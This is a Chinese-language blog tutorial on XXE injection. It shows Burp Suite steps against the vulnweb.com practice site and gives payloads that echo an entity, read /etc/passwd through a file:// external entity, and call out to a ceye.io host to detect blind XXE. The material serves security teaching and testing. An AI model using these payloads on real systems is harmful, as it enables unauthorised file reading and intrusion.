xxe漏洞就是能直接在请求里可以引用一个实体,然后造成读文件,只需要懂这个基本攻击原理就行
先了解什么是xxe
xml外部实体注入简称xxe,注入的什么呢 一段xml代码
就是一个请求里 可以携带一个xml引用,然后可以读文件
https://security.tencent.com/index.php/blog/msg/69 腾讯也有一篇关于xxe的讲义
来操作一哈
打开burpsuite设置监听,浏览器也设置代理,端口8080
打开http://testhtml5.vulnweb.com/这个网址,登陆,账号密码都输admin,点忘记密码
如果打不开这个网,可能是开了拦截,要关掉
然后再去proxy里找请求
然后发送到 send to repeater
点一下go
然后你改下下面的请求
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY myentity "xiaoyu"> ]> <forgot><username>&myentity;</username></forgot>
读出xiaoyu了 证明存在xxe
不过不能这么读,读不了etc/passwd
改了攻击的荷载它无法识别
昨天我们不是说了 xxe的基本的几个攻击荷载吗,这个用不了,在这个漏洞里
看这个例子https://www.secpulse.com/archives/41154.html
这个攻击荷载是这个
<!DOCTYPE z [<!ENTITY test SYSTEM "file:///etc/passwd" >]>
这个是别人文章里的例子
http://www.freebuf.com/articles/web/126788.html
这个是owasp top web安全组织 对于xxe的全英文讲解
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
怎么找xxe漏洞呢?就得看这个ppt了
第一种 简单概括为 wsdl后缀得
http://wooyun.jozxing.cc/search?keywords=xxe&content_search_by=by_bugs
这里有更多得实例去做参考
这个漏洞我自己挖到的很少,因为有些没回显,还需要借助ceye.io
它在这个荷载里加入这个 可以判断是否存在xxe,我们可以拿刚才的testhtml5.vulweb.com做下实验
有一条请求
这里它和awvs判断的依据是一样的,读取了这个服务器的ip
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.ly4ei1.ceye.io/xxe_test"> %remote;]> <root/>
这里改成你的地址
用burpsuite请求一下,然后去看日志
这是我的地址啦
原文地址:https://www.cnblogs.com/Tiny-Fish/p/9194102.html